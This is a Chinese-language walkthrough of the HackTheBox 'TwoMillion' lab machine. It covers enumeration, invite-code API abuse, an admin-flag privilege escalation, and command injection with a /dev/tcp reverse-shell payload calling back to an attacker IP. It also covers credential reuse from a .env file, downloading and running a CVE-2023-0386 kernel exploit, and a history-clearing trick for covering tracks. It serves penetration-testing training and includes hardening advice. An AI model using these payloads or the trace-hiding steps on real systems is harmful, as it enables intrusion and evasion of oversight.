1. 靶机环境概述与初始信息收集
HackTheBox TwoMillion靶机是一台模拟真实渗透测试场景的Linux系统,本次渗透路径从Web应用漏洞发现到内核提权完整链条。靶机IP为10.129.186.79,开放了22(SSH)和80(HTTP)两个端口,Web服务运行在Nginx上,系统为Ubuntu Linux。
1.1 端口扫描与基础信息确认
使用RustScan结合Nmap进行全端口扫描是渗透测试的标准起手式。这里特别选用RustScan是因为其异步扫描速度远超传统工具,配合Nmap的版本探测能快速建立目标画像:
bash复制rustscan -a 10.129.186.79 -- -sV -A -sC
扫描结果显示:
- SSH服务:OpenSSH 8.9p1(Ubuntu定制版)
- HTTP服务:Nginx反向代理,重定向到
2million.htb域名 - 操作系统:Linux内核(具体版本未识别)
经验提示:当遇到域名重定向时,务必在/etc/hosts中添加解析记录。这是新手常忽略的关键步骤:
bash复制echo '10.129.186.79 2million.htb' >> /etc/hosts
1.2 Web目录结构探测
使用Dirsearch进行目录爆破时,要注意工具默认字典可能不包含API路径。本案例中/api目录返回401状态码,这表明:
- API接口存在但需要认证
- 可能成为后续攻击入口
bash复制dirsearch -u "http://2million.htb/"
关键发现:
/invite:邀请码功能页面/api/v1:API基础路径/register:需验证码的注册页面
2. 邀请系统逆向分析与越权漏洞
2.1 JavaScript代码审计技巧
在/invite页面发现混淆后的inviteapi.min.js,使用在线工具de4js进行反混淆后得到核心功能:
javascript复制function verifyInviteCode(code) {
var formData = {"code": code};
$.ajax({
type: "POST",
url: '/api/v1/invite/verify',
data: formData,
success: function(response) { console.log(response) }
})
}
这段代码揭示:
- 邀请码验证通过POST请求完成
- API端点位于
/api/v1/invite/verify - 响应为JSON格式
2.2 加密数据破解实战
向/api/v1/invite/how/to/generate发送POST请求得到加密提示:
json复制{
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
}
使用CyberChef进行ROT13解密得到关键信息:
code复制In order to generate the invite code, make a POST request to /api/v1/invite/generate
技术细节:ROT13是凯撒密码变种,字母表旋转13位。特点是对称加密,即ROT13(ROT13(text))=text
2.3 注册流程突破
通过API直接生成邀请码(无需图形界面):
bash复制curl -X POST http://2million.htb/api/v1/invite/generate
返回Base64编码的邀请码,解码后得到T1YLB-N5BJP-I8KCB-QS76D。使用该码完成注册(测试账号:test@qq.com/123456)。
3. API接口滥用与权限提升
3.1 接口文档逆向工程
访问/api/v1获取完整API文档,重点关注管理员接口:
| 方法 | 路径 | 风险等级 |
|---|---|---|
| PUT | /api/v1/admin/settings/update | 高危 |
| POST | /api/v1/admin/vpn/generate | 中危 |
3.2 权限提升漏洞利用
通过Burp Suite拦截普通用户请求,修改为PUT方法访问管理员接口:
http复制PUT /api/v1/admin/settings/update HTTP/1.1
Content-Type: application/json
Cookie: PHPSESSID=uls5b9f9sagqlh7i0j4a2h51k2
{"email":"test@qq.com","is_admin":1}
关键修改点:
- 方法从GET改为PUT
- 添加正确的Content-Type头
- JSON体包含email和is_admin字段
漏洞原理:该接口未做权限校验,存在水平越权+垂直越权组合漏洞。通过修改自身is_admin属性可直接获得管理员权限。
3.3 命令注入漏洞利用
管理员权限下,发现/api/v1/admin/vpn/generate接口存在命令注入:
http复制POST /api/v1/admin/vpn/generate HTTP/1.1
{"id":";id>/tmp/test;"}
利用该漏洞反弹shell:
bash复制{"id":";bash -c 'bash -i >& /dev/tcp/10.10.16.5/4444 0>&1';"}
成功获取www-data权限的shell后,立即升级为交互式终端:
bash复制python3 -c 'import pty; pty.spawn("/bin/bash")'
4. 内网横向移动与内核提权
4.1 数据库凭证泄露
在web目录发现.env配置文件泄露数据库凭据:
bash复制cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
尝试SSH登录成功:
bash复制ssh admin@localhost
# 密码:SuperDuperPass123
4.2 邮件信息挖掘
检查系统邮件发现重要线索:
bash复制cat /var/mail/admin
邮件内容提及:
- 系统正在进行数据库迁移
- 需要紧急修复OverlayFS/FUSE相关内核漏洞
- 特别提到CVE-2023-0386
4.3 内核提权实战
利用CVE-2023-0386进行提权:
- 下载漏洞利用代码:
bash复制wget https://github.com/puckiestyle/CVE-2023-0386/archive/refs/heads/main.zip
- 编译并执行:
bash复制unzip main.zip
cd CVE-2023-0386-main
make
./exploit
- 获取root权限:
bash复制whoami # 输出root
5. 渗透测试经验总结
5.1 Web安全关键发现
-
API安全:
- 接口文档暴露过多功能端点
- 权限校验缺失导致垂直越权
- 输入过滤不足引发命令注入
-
配置管理:
- .env文件未设置适当权限
- 生产环境使用弱密码
5.2 系统安全加固建议
-
立即措施:
bash复制# 更新内核修复CVE-2023-0386 sudo apt update && sudo apt install --only-upgrade linux-image-$(uname -r) # 限制.env文件访问 chmod 600 .env -
长期方案:
- 实施API网关进行权限控制
- 部署WAF防御命令注入
- 建立邮件监控告警机制
5.3 渗透技巧精要
-
信息收集:
- 不要依赖单一工具,Dirsearch可能遗漏API路径
- 始终检查前端JS文件,50%的漏洞通过代码审计发现
-
权限提升:
- 邮件目录(/var/mail)常包含运维信息
- 内核漏洞利用前需准确识别系统版本
-
隐蔽技巧:
bash复制# 清理命令历史 echo "" > ~/.bash_history history -c
这个靶机完整复现了从外网渗透到内网提权的全链条攻击路径,其中OverlayFS漏洞利用是近年Linux提权的新热点。建议在测试环境中反复练习每个环节,直到能独立完成整个渗透流程。